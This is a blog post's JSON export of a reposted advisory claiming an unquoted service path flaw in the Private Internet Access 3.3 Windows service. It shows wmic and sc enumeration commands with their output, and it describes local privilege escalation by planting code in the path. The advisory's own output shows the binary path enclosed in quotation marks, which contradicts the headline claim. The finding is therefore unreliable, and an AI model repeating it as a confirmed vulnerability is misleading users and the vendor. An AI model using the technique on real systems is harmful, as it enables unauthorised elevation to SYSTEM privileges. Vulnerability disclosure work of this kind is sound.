{"id":21396,"date":"2022-03-07T20:49:32","date_gmt":"2022-03-07T17:49:32","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166214\/pia33-unquotedpath.txt"},"modified":"2022-03-08T09:05:57","modified_gmt":"2022-03-08T05:35:57","slug":"private-internet-access-3-3-unquoted-service-path","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/private-internet-access-3-3-unquoted-service-path\/","title":{"rendered":"Private Internet Access 3.3 Unquoted Service Path"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Private Internet Access 3.3 &#8211; &#8216;pia-service&#8217; Unquoted Service Path<br \/>\n# Date: 04\/03\/2022<br \/>\n# Exploit Author: Saud Alenazi<br \/>\n# Vendor Homepage: https:\/\/www.privateinternetaccess.com<br \/>\n# Software Link: https:\/\/www.privateinternetaccess.com\/download<br \/>\n# Version: 3.3.0.100<br \/>\n# Tested: Windows 10 x64<br \/>\n# Contact: https:\/\/twitter.com\/dmaral3noz<\/p>\n<p dir=\"ltr\"># Step to discover Unquoted Service Path:<\/p>\n<p dir=\"ltr\">C:\\Users\\saudh&gt;wmic service where &#8216;name like &#8220;%PrivateInternetAccessService%&#8221;&#8216; get name, displayname, pathname, startmode, startname<\/p>\n<p dir=\"ltr\">DisplayName Name PathName StartMode StartName<br \/>\nPrivate Internet Access Service PrivateInternetAccessService &#8220;C:\\Program Files\\Private Internet Access\\pia-service.exe&#8221; Auto LocalSystem<\/p>\n<p dir=\"ltr\"># Service info:<\/p>\n<p dir=\"ltr\">C:\\Users\\saudh&gt;sc qc PrivateInternetAccessService<br \/>\n[SC] QueryServiceConfig SUCCESS<\/p>\n<p dir=\"ltr\">SERVICE_NAME: PrivateInternetAccessService<br \/>\nTYPE : 10 WIN32_OWN_PROCESS<br \/>\nSTART_TYPE : 2 AUTO_START<br \/>\nERROR_CONTROL : 1 NORMAL<br \/>\nBINARY_PATH_NAME : &#8220;C:\\Program Files\\Private Internet Access\\pia-service.exe&#8221;<br \/>\nLOAD_ORDER_GROUP :<br \/>\nTAG : 0<br \/>\nDISPLAY_NAME : Private Internet Access Service<br \/>\nDEPENDENCIES :<br \/>\nSERVICE_START_NAME : LocalSystem<\/p>\n<p dir=\"ltr\">#Exploit:<\/p>\n<p dir=\"ltr\">A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user&#8217;s code would execute with the elevated privileges of the application.<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Private Internet Access 3.3 &#8211; &#8216;pia-service&#8217; Unquoted Service Path # Date: 04\/03\/2022 # Exploit Author: Saud Alenazi # Vendor Homepage: https:\/\/www.privateinternetaccess.com # Software Link: https:\/\/www.privateinternetaccess.com\/download # Version: 3.3.0.100 # Tested: Windows 10 x64 # Contact: https:\/\/twitter.com\/dmaral3noz # Step to discover Unquoted Service Path: C:\\Users\\saudh&gt;wmic service where &#8216;name like &#8220;%PrivateInternetAccessService%&#8221;&#8216; get name, displayname, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21396","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21396","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21396"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21396\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21396"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21396"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21396"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}